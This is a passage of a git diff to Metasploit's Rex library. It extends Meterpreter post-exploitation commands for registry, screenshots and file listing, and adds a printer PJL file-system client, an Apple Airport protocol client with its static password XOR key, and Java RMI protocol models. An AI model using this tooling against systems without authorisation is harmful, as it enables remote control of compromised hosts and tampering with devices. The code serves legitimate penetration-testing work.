in name and returns an # initialized RegistryValue instance if a match is found. # + def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_query_value_direct') + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + request.add_tlv(TLV_TYPE_VALUE_NAME, name) + + response = client.send_request(request) + + type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value + data = response.get_tlv(TLV_TYPE_VALUE_DATA).value + + if type == REG_SZ + data = data[0..-2] + elsif type == REG_DWORD + data = data.unpack('N')[0] + end + + Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new( + client, 0, name, type, data) + end + def Registry.query_value(hkey, name) request = Packet.create_request('stdapi_registry_query_value') @@ -207,8 +269,8 @@ class Registry response = client.send_request(request) - data = response.get_tlv(TLV_TYPE_VALUE_DATA).value; - type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value; + data = response.get_tlv(TLV_TYPE_VALUE_DATA).value + type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value if (type == REG_SZ) data = data[0..-2] @@ -272,6 +334,24 @@ class Registry return values end + def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_enum_value_direct') + values = [] + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + + response = client.send_request(request) + + response.each(TLV_TYPE_VALUE_NAME) do |value_name| + values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new( + client, 0, value_name.value) + end + + values + end + # # Return the key value associated with the supplied string. This is useful # for converting HKLM as a string into its actual integer representation. @@ -300,13 +380,20 @@ class Registry # Returns the integer value associated with the supplied registry value # type (like REG_SZ). # + # @see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724884(v=vs.85).aspx + # @param type [String] A Windows registry type constant name, e.g. 'REG_SZ' + # @return [Integer] one of the `REG_*` constants def self.type2str(type) - return REG_SZ if (type == 'REG_SZ') - return REG_DWORD if (type == 'REG_DWORD') - return REG_BINARY if (type == 'REG_BINARY') - return REG_EXPAND_SZ if (type == 'REG_EXPAND_SZ') - return REG_NONE if (type == 'REG_NONE') - return nil + case type + when 'REG_BINARY' then REG_BINARY + when 'REG_DWORD' then REG_DWORD + when 'REG_EXPAND_SZ' then REG_EXPAND_SZ + when 'REG_MULTI_SZ' then REG_MULTI_SZ + when 'REG_NONE' then REG_NONE + when 'REG_SZ' then REG_SZ + else + nil + end end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index d89f4acc0b..1a30b29529 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -29,6 +29,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 +TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205 TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index fcabf627f8..f176d7f84c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -154,37 +154,43 @@ class UI < Rex::Post::UI def screenshot( quality=50 ) request = Packet.create_request( 'stdapi_ui_desktop_screenshot' ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) + # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x64.dll not found", caller end - screenshot_path = ::File.expand_path( screenshot_path ) + screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| screenshot_dll += f.read( f.stat.size ) end + request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end + # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x86.dll not found", caller end - screenshot_path = ::File.expand_path( screenshot_path ) + screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| screenshot_dll += f.read( f.stat.size ) end + request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length ) + # send the request and return the jpeg image if successfull. response = client.send_request( request ) if( response.result == 0 ) return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT ) end + return nil end diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index d04c92fbdc..4d552a0e75 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -114,9 +114,6 @@ module PacketDispatcher cli.send_response(resp) end - # Force a closure for older WinInet implementations - self.passive_service.close_client( cli ) - rescue ::Exception => e elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}") end @@ -178,7 +175,6 @@ module PacketDispatcher # Sends a packet and waits for a timeout for the given time interval. # def send_request(packet, t = self.response_timeout) - if not t send_packet(packet) return nil @@ -355,8 +351,14 @@ module PacketDispatcher begin if ! dispatch_inbound_packet(pkt) - # Only requeue packets newer than the timeout - if (::Time.now.to_i - pkt.created_at.to_i > PacketTimeout) + # Keep Packets in the receive queue until a handler is registered + # for them. Packets will live in the receive queue for up to + # PacketTimeout, after which they will be dropped. + # + # A common reason why there would not immediately be a handler for + # a received Packet is in channels, where a connection may + # open and receive data before anything has asked to read. + if (::Time.now.to_i - pkt.created_at.to_i < PacketTimeout) incomplete << pkt end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index d03ca4a54b..13d30de62d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -360,21 +360,42 @@ class Console::CommandDispatcher::Stdapi::Fs # # Lists files # - # TODO: make this more useful - # def cmd_ls(*args) + + # Check sort column + sort = args.include?('-S') ? 'Size' : 'Name' + sort = args.include?('-t') ? 'Last modified' : sort + args.delete('-S') + args.delete('-t') + + # Check whether to include the short name option + short = args.include?('-x') + args.delete('-x') + + # Check sort order + order = args.include?('-r') ? :reverse : :forward + args.delete('-r') + + # Check for cries of help + if args.length > 1 || args.any? { |a| a[0] == '-' } + print_line('Usage: ls [dir] [-x] [-S] [-t] [-r]') + print_line(' -x Show short file names') + print_line(' -S Sort by size') + print_line(' -t Sort by time modified') + print_line(' -r Reverse sort order') + return true + end + path = args[0] || client.fs.dir.getwd + + columns = [ 'Mode', 'Size', 'Type', 'Last modified', 'Name' ] + columns.insert(4, 'Short Name') if short + tbl = Rex::Ui::Text::Table.new( 'Header' => "Listing: #{path}", - 'SortIndex' => 4, - 'Columns' => - [ - 'Mode', - 'Size', - 'Type', - 'Last modified', - 'Name', - ]) + 'SortIndex' => columns.index(sort), + 'SortOrder' => order, + 'Columns' => columns) items = 0 stat = client.fs.file.stat(path) @@ -383,14 +404,16 @@ class Console::CommandDispatcher::Stdapi::Fs # No need to sort as Table will do it for us client.fs.dir.entries_with_info(path).each { |p| - tbl << - [ + row = [ p['StatBuf'] ? p['StatBuf'].prettymode : '', p['StatBuf'] ? p['StatBuf'].size : '', p['StatBuf'] ? p['StatBuf'].ftype[0,3] : '', p['StatBuf'] ? p['StatBuf'].mtime : '', p['FileName'] || 'unknown' ] + row.insert(4, p['FileShortName'] || '') if short + + tbl << row items += 1 } @@ -503,10 +526,17 @@ class Console::CommandDispatcher::Stdapi::Fs client.framework.events.on_session_upload(client, src, dest) if msf_loaded? } elsif (stat.file?) - client.fs.file.upload(dest, src) { |step, src, dst| - print_status("#{step.ljust(11)}: #{src} -> #{dst}") - client.framework.events.on_session_upload(client, src, dest) if msf_loaded? - } + if client.fs.file.exists?(dest) and client.fs.file.stat(dest).directory? + client.fs.file.upload(dest, src) { |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_upload(client, src, dest) if msf_loaded? + } + else + client.fs.file.upload_file(dest, src) { |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_upload(client, src, dest) if msf_loaded? + } + end end } diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 5661c29ed4..046ad66371 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -150,7 +150,7 @@ class Console::CommandDispatcher::Stdapi::Ui when "-p" path = val when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + view = true if ( val =~ /^(t|y|1)/i ) end } diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index dbfd86c47e..8696fcd5ea 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -6,6 +6,7 @@ require 'rex/proto/dcerpc' require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' +require 'rex/proto/rmi' module Rex module Proto diff --git a/lib/rex/proto/acpp.rb b/lib/rex/proto/acpp.rb new file mode 100644 index 0000000000..2cd7b083e4 --- /dev/null +++ b/lib/rex/proto/acpp.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- +# +# Support for the protocol used by Apple Airport products, typically on +# 5009/TCP. This protocol is not documented and doesn't appear to have a name, +# so I'm calling it ACPP because that is the protocol header. +# + +require 'rex/proto/acpp/client' +require 'rex/proto/acpp/message' + +module Rex + module Proto + module ACPP + DEFAULT_PORT = 5009 + end + end +end diff --git a/lib/rex/proto/acpp/client.rb b/lib/rex/proto/acpp/client.rb new file mode 100644 index 0000000000..caedaa6a5c --- /dev/null +++ b/lib/rex/proto/acpp/client.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +## +# ACPP protocol support +## + +module Rex +module Proto +module ACPP + +class Client + + def initialize(sock, opts = {}) + @sock = sock + @opts = opts + end + + def authenticate(password = 'public') + login = Message.new + login.password = password + login.type = 20 + @sock.put(login.to_s) + # TODO: the checksum never validates here + Message.decode(@sock.get_once(128), false) + end +end +end +end +end diff --git a/lib/rex/proto/acpp/message.rb b/lib/rex/proto/acpp/message.rb new file mode 100644 index 0000000000..bb526d4508 --- /dev/null +++ b/lib/rex/proto/acpp/message.rb @@ -0,0 +1,183 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module ACPP + # From what I've been able to gather from the very limited findings on the + # web about this protocol, playing with it against a real Airport device and + # referencing the airport-utils package in Debian/Ubuntu, the format of (at + # least) the login message is: + # + # acpp # the header tag, always exactly acpp (4 bytes) + # unknown1 # unknown 4-byte field. Almost always 0x00000001 + # messageChecksum # checksum of the message, 4 bytes + # payloadChecksum # checksum of the payload, 4 bytes + # payloadSize # size of the payload, 4 bytes + # unknown2 # unknown 8-byte field. probably some sort of + # request/response identifier. generally 0 for requests, 1 for replies + # messageType # the type of message, 4 bytes. see below. + # status # the status of this message, 4 bytes. + # generally 0 for success and !0 for failure. + # unknown3 # unknown 12-byte field, seemingly always 0. Probably 'reserved' + # password # 32-byte password, 'encrypted' by XOR'ing it with a 256-byte static key (see XOR_KEY) + # unknown4 # unknown 48-byte field, always 0. + # + # There are several possible message types: + # + # * 20 -- retrieve settings (payload is some list of settings to obtain) + # * 21 -- update setttings (and if the 'acRB' setting is set, it reboots) + # * 3 -- Upload firmware + # + # TODO: if you find more, add them above. + # + # When the message type is anything other than 20 or 3, payloadSize is set to -1 and + # payloadChecksum is set to 1. It may be a bug that 21 doesn't look at the + # checksum. Adler32 is used to compute the checksum. + # + # The message payload is a bit of an unknown right now, as it *seems* like + # the payload always comes in a subsequent request. Simply appending + # a payload to the existing message does not appear to work (but this needs + # more testing) + + # This was taken from airport-util's AirportInforRecord for ease of copying, but can + # also be obtained by XOR'ing the null-padded known plain text with the appropriate 32-byte + # ciphertext from an airport-util request + XOR_KEY = [ + 14, 57, -8, 5, -60, 1, 85, 79, 12, -84, + -123, 125, -122, -118, -75, 23, 62, 9, -56, 53, + -12, 49, 101, 127, 60, -100, -75, 109, -106, -102, + -91, 7, 46, 25, -40, 37, -28, 33, 117, 111, + 44, -116, -91, -99, 102, 106, 85, -9, -34, -23, + 40, -43, 20, -47, -123, -97, -36, 124, 85, -115, + 118, 122, 69, -25, -50, -7, 56, -59, 4, -63, + -107, -113, -52, 108, 69, -67, 70, 74, 117, -41, + -2, -55, 8, -11, 52, -15, -91, -65, -4, 92, + 117, -83, 86, 90, 101, -57, -18, -39, 24, -27, + 36, -31, -75, -81, -20, 76, 101, -35, 38, 42, + 21, -73, -98, -87, 104, -107, 84, -111, -59, -33, + -100, 60, 21, -51, 54, 58, 5, -89, -114, -71, + 120, -123, 68, -127, -43, -49, -116, 44, 5, -3, + 6, 10, 53, -105, -66, -119, 72, -75, 116, -79, + -27, -1, -68, 28, 53, -19, 22, 26, 37, -121, + -82, -103, 88, -91, 100, -95, -11, -17, -84, 12, + 37, 29, -26, -22, -43, 119, 94, 105, -88, 85, + -108, 81, 5, 31, 92, -4, -43, 13, -10, -6, + -59, 103, 78, 121, -72, 69, -124, 65, 21, 15, + 76, -20, -59, 61, -58, -54, -11, 87, 126, 73, + -120, 117, -76, 113, 37, 63, 124, -36, -11, 45, + -42, -38, -27, 71, 110, 89, -104, 101, -92, 97, + 53, 47, 108, -52, -27, 93, -90, -86, -107, 55, + 30, 41, -24, 21, -44, 17, 69, 95, 28, -68, + -107, 77, -74, -70, -123, 39 + ].pack("C*") + + class Message + # @return [Integer] the type of this message + attr_accessor :type + # @return [String] the password to attempt to authenticate with + attr_accessor :password + # @return [String] the optional message payload + attr_accessor :payload + # @return [Integer] the status of this message + attr_accessor :status + + def initialize + @payload = '' + @type = 0 + @status = 0 + @password = '' + @unknown1 = 1 + @unknown2 = '' + @unknown3 = '' + @unknown4 = '' + end + + # Determines if this message has a successful status code + # + # @return [Boolean] true iff @status is 0, false otherwise + def successful? + @status == 0 + end + + # Get this Message as a String + # + # @return [String] the string representation of this Message + def to_s + with_checksum(Zlib.adler32(with_checksum(0))) + end + + # Compares this Message and another Message for equality + # + # @param other [Message] the Message to compare + # @return [Boolean] true iff the two messages are equal, false otherwise + def ==(other) + other.type == @type && + other.status == @status && + other.password == @password && + other.payload == @payload + end + + # Decodes the provided data into a Message + # + # @param data [String] the data to parse as a Message + # @param validate_checksum [Boolean] true to validate the message and + # payload checksums, false to not. Defaults to true. + # @return [Message] the decoded Message + def self.decode(data, validate_checksum = true) + data = data.dup + fail "Incorrect ACPP message size #{data.size} -- must be 128" unless data.size == 128 + fail 'Unexpected header' unless 'acpp' == data.slice!(0, 4) + _unknown1 = data.slice!(0, 4) + read_message_checksum = data.slice!(0, 4).unpack('N').first + read_payload_checksum = data.slice!(0, 4).unpack('N').first + _read_payload_size = data.slice!(0, 4).unpack('N').first + _unknown2 = data.slice!(0, 8) + type = data.slice!(0, 4).unpack('N').first + status = data.slice!(0, 4).unpack('N').first + _unknown3 = data.slice!(0, 12) + password = Rex::Encoding::Xor::Generic.encode(data.slice!(0, 32), XOR_KEY).first.strip + _unknown4 = data.slice!(0, 48) + payload = data + m = new + m.type = type + m.password = password + m.status = status + m.payload = payload + + # we can now validate the checksums if desired + if validate_checksum + actual_message_checksum = Zlib.adler32(m.with_checksum(0)) + if actual_message_checksum != read_message_checksum + fail "Invalid message checksum (expected #{read_message_checksum}, calculated #{actual_message_checksum})" + end + # I'm not sure this can ever happen -- if the payload checksum is wrong, then the + # message checksum will also be wrong. So, either I misunderstand the protocol + # or having two checksums is useless + actual_payload_checksum = Zlib.adler32(payload) + if actual_payload_checksum != read_payload_checksum + fail "Invalid payload checksum (expected #{read_payload_checksum}, calculated #{actual_payload_checksum})" + end + end + m + end + + def with_checksum(message_checksum) + [ + 'acpp', + @unknown1, + message_checksum, + Zlib.adler32(@payload), + @payload.size, + @unknown2, + @type, + @status, + @unknown3, + Rex::Encoding::Xor::Generic.encode([@password].pack('a32').slice(0, 32), XOR_KEY).first, + @unknown4, + payload + ].pack('a4NNNNa8NNa12a32a48a*') + end + end +end +end +end diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index b8efa19929..9f896689ef 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -86,7 +86,7 @@ class Client typ = self.config_types[var] || 'string' # These are enum types - if(typ.class.to_s == 'Array') + if typ.is_a?(Array) if not typ.include?(val) raise RuntimeError, "The specified value for #{var} is not one of the valid choices" end @@ -719,4 +719,3 @@ end end end end - diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index ca0ed82ec8..d969d2a47b 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -81,7 +81,6 @@ class Server "htm" => "text/htm", "jpg" => "image/jpeg", "jpeg" => "image/jpeg", - "jpeg" => "image/jpeg", "gif" => "image/gif", "png" => "image/png", "bmp" => "image/bmp", diff --git a/lib/rex/proto/iax2/call.rb b/lib/rex/proto/iax2/call.rb index f0711f1b75..e03f1b5fd6 100644 --- a/lib/rex/proto/iax2/call.rb +++ b/lib/rex/proto/iax2/call.rb @@ -72,7 +72,14 @@ class Call end chall = nil - if res[2][14] == "\x00\x03" and res[2][IAX_IE_CHALLENGE_DATA] + + # Look for IAX_AUTH_MD5 (2) as an available auth method + if res[2][14].unpack("n")[0] & 2 <= 0 + dprint("REGAUTH: MD5 authentication is not enabled on the server") + return + end + + if res[2][IAX_IE_CHALLENGE_DATA] self.dcall = res[0][0] chall = res[2][IAX_IE_CHALLENGE_DATA] end @@ -114,9 +121,21 @@ class Call # Handle authentication if its requested if res[1] == IAX_SUBTYPE_AUTHREQ chall = nil - if res[2][14] == "\x00\x03" and res[1][15] + + # Look for IAX_AUTH_MD5 (2) as an available auth method + if res[2][14].unpack("n")[0] & 2 <= 0 + dprint("REGAUTH: MD5 authentication is not enabled on the server") + return + end + + if res[2][IAX_IE_CHALLENGE_DATA] self.dcall = res[0][0] - chall = res[2][15] + chall = res[2][IAX_IE_CHALLENGE_DATA] + end + + if chall.nil? + dprint("REGAUTH: No challenge data received") + return end self.client.send_authrep_chall_response(self, chall) diff --git a/lib/rex/proto/iax2/client.rb b/lib/rex/proto/iax2/client.rb index 892cfd7299..444f181786 100644 --- a/lib/rex/proto/iax2/client.rb +++ b/lib/rex/proto/iax2/client.rb @@ -34,6 +34,7 @@ class Client self.server_port = opts[:server_port] self.username = opts[:username] self.password = opts[:password] + self.debugging = opts[:debugging] self.sock = Rex::Socket::Udp.create( 'PeerHost' => self.server_host, diff --git a/lib/rex/proto/kerberos/client.rb b/lib/rex/proto/kerberos/client.rb index 48af233ddb..5e6e6abc37 100644 --- a/lib/rex/proto/kerberos/client.rb +++ b/lib/rex/proto/kerberos/client.rb @@ -187,7 +187,7 @@ module Rex # Decodes a Kerberos response # - # @param input [String] the raw response message + # @param data [String] the raw response message # @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] the kerberos message response # @raise [RuntimeError] if the response can't be processed def decode_kerb_response(data) diff --git a/lib/rex/proto/pjl.rb b/lib/rex/proto/pjl.rb index 172cb42dca..12f8965535 100644 --- a/lib/rex/proto/pjl.rb +++ b/lib/rex/proto/pjl.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- + # https://en.wikipedia.org/wiki/Printer_Job_Language # See external links for PJL spec @@ -25,7 +26,10 @@ module Rex::Proto::PJL RDYMSG = "#{PREFIX} RDYMSG" FSINIT = "#{PREFIX} FSINIT" + FSQUERY = "#{PREFIX} FSQUERY" FSDIRLIST = "#{PREFIX} FSDIRLIST" FSUPLOAD = "#{PREFIX} FSUPLOAD" + FSDOWNLOAD = "#{PREFIX} FSDOWNLOAD" + FSDELETE = "#{PREFIX} FSDELETE" end diff --git a/lib/rex/proto/pjl/client.rb b/lib/rex/proto/pjl/client.rb index 268a0768ef..66902b2b41 100644 --- a/lib/rex/proto/pjl/client.rb +++ b/lib/rex/proto/pjl/client.rb @@ -1,12 +1,11 @@ # -*- coding: binary -*- + # https://en.wikipedia.org/wiki/Printer_Job_Language # See external links for PJL spec module Rex::Proto::PJL class Client - attr_reader :sock - def initialize(sock) @sock = sock end @@ -117,19 +116,39 @@ class Client @sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n}) end + # Query a file + # + # @param path [String] Remote path + # @return [Boolean] True if file exists + def fsquery(path) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" + end + + file = false + + @sock.put(%Q{#{FSQUERY} NAME = "#{path}"\n}) + + if @sock.get(DEFAULT_TIMEOUT) =~ /TYPE=(FILE|DIR)/m + file = true + end + + file + end + # List a directory # - # @param pathname [String] Pathname + # @param path [String] Remote path # @param count [Fixnum] Number of entries to list # @return [String] Directory listing - def fsdirlist(pathname, count = COUNT_MAX) - if pathname !~ /^[0-2]:/ - raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + def fsdirlist(path, count = COUNT_MAX) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" end listing = nil - @sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n}) + @sock.put(%Q{#{FSDIRLIST} NAME = "#{path}" ENTRY=1 COUNT=#{count}\n}) if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m listing = $1 @@ -140,17 +159,16 @@ class Client # Download a file # - # @param pathname [String] Pathname - # @param size [Fixnum] Size of file + # @param path [String] Remote path # @return [String] File as a string - def fsupload(pathname, size = SIZE_MAX) - if pathname !~ /^[0-2]:/ - raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:" + def fsupload(path) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" end file = nil - @sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n}) + @sock.put(%Q{#{FSUPLOAD} NAME = "#{path}" OFFSET=0 SIZE=#{SIZE_MAX}\n}) if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*)\f/m file = $1 @@ -159,5 +177,41 @@ class Client file end + # Upload a file + # + # @param lpath [String] Local path + # @param rpath [String] Remote path + # @return [Boolean] True if the file was uploaded + def fsdownload(lpath, rpath) + if rpath !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" + end + + file = File.read(lpath) + + @sock.put( + %Q{#{FSDOWNLOAD} FORMAT:BINARY SIZE=#{file.length} NAME = "#{rpath}"\n} + ) + + @sock.put(file) + @sock.put(UEL) + + fsquery(rpath) + end + + # Delete a file + # + # @param path [String] Remote path + # @return [Boolean] True if the file was deleted + def fsdelete(path) + if path !~ /^[0-2]:/ + raise ArgumentError, "Path must begin with 0:, 1:, or 2:" + end + + @sock.put(%Q{#{FSDELETE} NAME = "#{path}"\n}) + + !fsquery(path) + end + end end diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb new file mode 100644 index 0000000000..74505c57f2 --- /dev/null +++ b/lib/rex/proto/rmi.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- + +# JAVA RMI Wire protocol implementation +# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html + +require 'rex/proto/rmi/model' + diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb new file mode 100644 index 0000000000..3166506d87 --- /dev/null +++ b/lib/rex/proto/rmi/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + SIGNATURE = 'JRMI' + STREAM_PROTOCOL = 0x4b + SINGLE_OP_PROTOCOL = 0x4c + MULTIPLEX_PROTOCOL = 0x4d + CALL_MESSAGE = 0x50 + PING_MESSAGE = 0x52 + DGC_ACK_MESSAGE = 0x54 + PROTOCOL_ACK = 0x4e + PROTOCOL_NOT_SUPPORTED = 0x4f + RETURN_DATA = 0x51 + PING_ACK = 0x53 + end + end + end +end + +require 'rex/proto/rmi/model/element' +require 'rex/proto/rmi/model/output_header' +require 'rex/proto/rmi/model/protocol_ack' +require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_data' +require 'rex/proto/rmi/model/dgc_ack' +require 'rex/proto/rmi/model/ping' +require 'rex/proto/rmi/model/ping_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb new file mode 100644 index 0000000000..120ee8a8fe --- /dev/null +++ b/lib/rex/proto/rmi/model/call.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI call message + class Call < Element + + # @!attribute message_id + # @return [Fixnum] the message id + attr_accessor :message_id + # @!attribute call_data + # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + attr_accessor :call_data + + private + + # Reads the message id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the message id + def decode_message_id(io) + message_id = read_byte(io) + unless message_id == CALL_MESSAGE + raise ::RuntimeError, 'Failed to decode Call message id' + end + + message_id + end + + # Reads and deserializes the call data from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_call_data(io) + call_data = Rex::Java::Serialization::Model::Stream.decode(io) + + call_data + end + + # Encodes the message_id field + # + # @return [String] + def encode_message_id + [message_id].pack('C') + end + + # Encodes the address field + # + # @return [String] + def encode_call_data + call_data.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/continuation.rb b/lib/rex/proto/rmi/model/continuation.rb new file mode 100644 index 0000000000..e7e801c4ad --- /dev/null +++ b/lib/rex/proto/rmi/model/continuation.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI continuation stream + class Continuation < Element + + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb new file mode 100644 index 0000000000..ab1eee9889 --- /dev/null +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI DbgACK stream. It is an acknowledgement + # directed to a server's distributed garbage collector that indicates that remote objects + # in a return value from a server have been received by the client. + class DgcAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute unique_identifier + # @return [String] the unique identifier + attr_accessor :unique_identifier + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == DGC_ACK_MESSAGE + raise ::RuntimeError, 'Failed to decode DgcAck stream id' + end + + stream_id + end + + # Reads the unique identifier from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_unique_identifier(io) + unique_identifier = read_string(io, 14) + + unique_identifier + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the unique_identifier field + # + # @return [String] + def encode_unique_identifier + unique_identifier + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb new file mode 100644 index 0000000000..60a6bbf481 --- /dev/null +++ b/lib/rex/proto/rmi/model/element.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + class Element + + include 